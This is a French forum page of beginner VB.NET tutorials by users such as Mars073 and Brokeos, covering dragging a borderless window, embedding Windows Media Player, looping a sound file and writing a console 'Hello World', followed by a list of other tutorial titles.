/applications/sslimageproxy/interface/image.php?url=http://img50.xooimage.com/files/0/7/6/load-vb-2498ae1.jpg"/>
modifier le en "MouseDown", ce qui va créer un deuxième code supprimez le premier (load).

4.Mettez le code suivant après "Public Class [nom_de_la_form]":

Private Declare Function ReleaseCapture Lib "user32" () As Integer
Private Const HTCAPTION As Integer = 2
Private Const WM_NCLBUTTONDOWN As Integer = &HA1S
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Integer, ByVal wMsg As Integer, ByVal wParam As Integer, ByRef lParam As Integer) As Integer

5.De retour au code "mousedown", vous mettez le code suivant dedans:

If e.Button = Windows.Forms.MouseButtons.Left Then
ReleaseCapture()
SendMessage(Me.Handle.ToInt32, WM_NCLBUTTONDOWN, HTCAPTION, 0)

Ps:Quelques code:
-Pour fermer la fenêtre:

Me.close

ou l'application compléte:

End

-Pour réduire(attention! le code peut bugé et faire réduire mais hors de la barre de tâche):

Me.WindowState = FormWindowState.Minimized

-Pour mettre au niveau inférieur:

Me.WindowState = FormWindowState.Normal

-Pour le niveau supérieure:

Me.WindowState = FormWindowState.Maximized

Conseil:
-Si vous mettez une image de fond mettez une couleur de fond puis ajoutez la comme couleur de transparence dans les paramètres de la form

Bonne programmation à tous!
Cordialement,
Mars073

Ajouter l'outil "Windows Media Player" ou autre =D

mars073 — Thu, 13 Mar 2014 20:58:41 GMT

Bonjour,
Je vais vous expliquez comment ajouter l'outil "Windows Media Player" ou un autre.

1.Ouvrez Visual Basic, puis votre projet aller dans "Boîte à outils" (Ctrl+Alt+X), puis faîtes clique droit sur n'importe quel outils et cliquez sur "Choisir les éléments...".

2.Un dialog c'est ouvert, allez dans l'onglet "Composants COM" descendez tout en bas et cochez la case devant "Windows Media Player" puis cliquez sur Ok.

3.puis il y aura l'outil qui va apparaitre dans la boîte à outils faite le glisser vers la form et voilà! Vous avez ajouté un outils.

Ps:Quelques code:
-Pour ouvrir un fichier .mp3 ou .wmv (requiert: 1 AxWindowsMediaPlayer, 1textbosx et 1button), pour les fichier en ligne utilisé "http://ww... .../fichier.mp3" ou pour fichier interne "file:///C:/... .../fichier.mp3".

AxWindowsMediaPlayer1.URL = TextBox1.Text

-Pour mettre en pleine écran (ne pas mettre en load, ne onctionne que si la vidéo/musique et en lecture):

AxWindowsMediaPlayer1.fullScreen = True

Bonne programmation à tous!
Cordialement,
Mars073

Jouer un Son en boucle ou pas ...-

mars073 — Thu, 13 Mar 2014 20:56:25 GMT

Bonjour,
Je vais vous expliquez comment jouer un son/musique.

Site pour convertir le fichier conseillé:
Online converter

Fichier KDO:
La music du login de WOTLK.wav
Contrôle-VirusTotal

1.Il vous faut un fichier ".wav" (Sons), petite astuce de passage pour faire des enregistrement sur windows (xp) avec un micro: allez dans le Menu de démarrage, cliquez sur "exécuter" puis dans la petite fenêtre qui c'est ouvert écrivez "SNDREC32" dans la textbox et cliquez sur "ok", et magie un fenêtre s'ouvre et il suffit de cliquer sur le bouton avec la boule rouge dessus pour enregistrer.^^

2.Ouvrez Visual Basic, puis votre projet aller dans ses propriétés, puis dans l'onglet "Ressources" ajouter votre ressource ".wav" (Sons).

3.retournez votre form faites un doule-click dessus pour afficher le code.

4.Mettez le code suivant:

My.Computer.Audio.Play(My.Resources.OFFICIAL_WOTLK_LOGIN_SCREEN_MUSIC, _
        AudioPlayMode.]BackgroundLoop)

et voilà vous faites du bruit !

Ps: code pour arrêter la lecture:

My.Computer.Audio.Stop

Bonne programmation a tous!
Cordialement,
Mars073

[Débutant] Les premiers pas

Brokeos — Sat, 08 Mar 2014 16:28:37 GMT

Salut à tous, dans ce "tutoriel", je vais essayer de vous expliquez comment coder et pourquoi coder en vb.net.

Tout d'abord, il vous faut Microsoft Visual Basic (Ou Visual Studio).

Vous le trouverez sur internet, pour ma part, j'utilise Visual Studio 2013 Ultimate.

On va commencer par créer un projet, et on va faire le traditionnel "Hello World".

Lancez Visual Studio, cliquez sur Nouveau Projet puis Application Console.

Vous commencez avec ça comme code :

Module Module1
Sub Main()

End Sub

End Module

Pour afficher notre Hello World, on va donc devoir écrire "Console.WriteLine("Hello World").

Module Module1
Sub Main()
    Console.WriteLine("Hello World")
End Sub

End Module

On appuie sur F5 (ou sur le bouton ► Démarrer).

Cependant, vous voyez une console s'afficher et direct elle se ferme.

Pour y remedier, rajouter "Console.ReadLine", qui signiffie que la console va attendre que vous ecrivez .quelque choses et appuyer sur "Entrée" pour continuer l'éxécution du code.

Voila, on peu voir la console afficher "Hello World" et rester fixe jusqu'à que vous appuyez sur "Entrée".

Voila, c'est un début de projet, il ne vous resteras plus cas suivre des tutoriels pour en apprendre plus.

Je sais que c'est un peu cour pour l'introduction, j'essayerais de la refaire en plus "élaboré".

VB.Net

Mise à jour automatique par internet

Xenocrack - Apprendre le cracking d'application .net

Sources Atom Light

[VB.net de A à Z] - Conditions et boucles

[VB.net de A à Z] - Opérations sur variables

[VB.net de A à Z] - Variables

[VB.net de A à Z] - Premiers pas

[Tutoriel] Lire et écrire un fichier texte

Screeneur de screen dans un screenshot dans une capture d'écran =p

The Drag'n Drop è_é

Gérer une erreur ._.

Le test (no-stress, c'est pas pour vous)

Les variables pour varier un peu

Faire un splashscreen avec le canal alpha (donc avec de la translucidité)

Choisir l'emplacment exact d'une image dans une picturbox

comment créer un "usercontrol" (outils)

Changer le curseur de votre form ou des objets^^

va pour enregistrer les frappes (j'ai reçu un coup)

Déplacer sa "form" (fenêtre)

Ajouter l'outil "Windows Media Player" ou autre =D

Jouer un Son en boucle ou pas ...*-*

[Débutant] Les premiers pas

Jouer un Son en boucle ou pas ...-